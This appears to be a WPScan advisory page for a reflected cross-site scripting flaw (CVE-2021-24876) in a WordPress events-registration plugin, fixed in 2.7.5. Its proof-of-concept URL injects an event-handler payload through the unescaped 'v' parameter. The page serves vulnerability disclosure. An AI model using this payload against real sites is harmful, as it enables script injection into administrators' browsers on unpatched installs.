WordPress Plugin Vulnerabilities

Registrations for The Events Calendar < 2.7.5 - Reflected Cross-Site Scripting

Description

The plugin does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

registrations-for-the-events-calendar

Fixed in version 2.7.5

References

CVE

CVE-2021-24876

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Verified

Yes

WPVDB ID

e77c2493-993d-418d-9629-a1f07b5a2b6f

Timeline

Publicly Published

2021-10-27 (about 1 years ago)

Added

2021-10-27 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

Our Other Services

WPScan WordPress Security Plugin